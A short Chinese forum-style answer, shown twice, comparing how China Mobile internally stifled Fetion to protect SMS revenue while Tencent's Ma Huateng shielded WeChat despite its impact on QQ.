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因为飞信发展的最好的时候,影响了移动公司的短信业务营收,然后被内部齐心合力搞死了。&br&&br&&br&反观微信的发展,也影响到了QQ,但是马化腾力保微信茁壮成长。QQ为微信导用户也立下汗马功劳,很多人现在登陆微信还是用QQ号。&br&&br&一个能为了长远未来狠心革自己的命,一个怕利润下滑影响自己的乌纱。谁能赢呢?
因为飞信发展的最好的时候,影响了移动公司的短信业务营收,然后被内部齐心合力搞死了。反观微信的发展,也影响到了QQ,但是马化腾力保微信茁壮成长。QQ为微信导用户也立下汗马功劳,很多人现在登陆微信还是用QQ号。一个能为了长远未来狠心革自己的命,一个…
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